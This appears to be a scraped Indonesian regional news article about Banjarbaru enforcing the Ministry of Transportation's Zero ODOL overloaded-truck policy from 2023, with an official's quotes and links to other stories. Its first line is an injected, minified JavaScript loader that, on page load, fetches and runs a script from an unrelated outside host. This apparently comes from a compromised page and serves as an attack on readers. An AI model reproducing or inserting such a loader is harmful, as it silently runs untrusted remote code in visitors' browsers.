(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Banjarbaru akan berlakukan Zero Over Dimension Over Loading (ODOL) mengikuti aturan Kementerian Perhubungan (Kemenhub). Kebijakan tersebut akan diberlakukan tahun 2023 mendatang.
Zero ODOL sendiri merupakan kebijakan dari Kemenhub RI untuk mengatasi permasalahan pelanggaran truk dengan muatan berlebih yang menimbulkan banyak permasalahan.
Penerapan kebijakan Zero ODOL ini tinggal menunggu waktu karena regulasi terkait sudah sangat lengkap, mulai dari undang-undang, peraturan pemerintah, peraturan menteri perhubungan, hingga peraturan Dirjen.
Tak terkecuali di Kota Banjarbaru, kebijakan Zero ODOL ini juga akan mulai diterapkan pada tahun 2023 bersamaan dengan pemberlakuannya serentak se-Indonesia.
Kepala Unit Pelaksana Teknis (UPT) Pengujian Kendaraan Bermotor (PKB) Dinas Perhubungan Kota Banjarbaru Noor Samsul K menjelaskan, kebijakan yang merupakan kesepakatan dari beberapa kementerian dan Polri tersebut sudah dilakukan sosialisasi.
Baca juga : Djokovic Tarik Koper Tinggalkan Australia, setelah Kalah di Pengadilan Banding
“Kita sudah melakukan sosialisasi dan pemberlakuan nanti mengikuti pemberlakuan secara nasional pada tahun 2023,” tuturnya kepada Kanalkalimantan.com, Senin (17/1/2022).
Ketika nantinya kebijakan ini dijalankan katanya, kendaraan berat yang melebihi kapasitas tak bisa lagi mengaspal di jalan raya karena tidak lulus uji.
Kendaraan berat seperti dump truk jika ingin lolos uji dan bisa mengaspal sendiri harus melakukan pemotongan bak untuk mencegah kelebihan kapasitas angkutan.
“Misalnya bak dump truk ada ketentuan tinggi maksimal 70 centimeter, yang beredar sekarang sekitar 120 centimeter. Di daerah lain jika kelebihan maka izin tidak lagi diterbitkan. Tapi di tempat kita masih dalam tahap sosialisasi sehingga masih kami toleransi,” pungkasnya.
Pemotongan bak tersebut bertujuan agar kendaraan berat tak lagi membawa muatan melebihi kapasitas, karena dianggap tidak masalah jika muatan yang dibawa lebih dari ketentuan akibat tingginya bak.
“Saat diterapkan nanti, jika ada yang melebihi kapasitas bisa langsung ditilang oleh kepolisian,” ucapnya.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.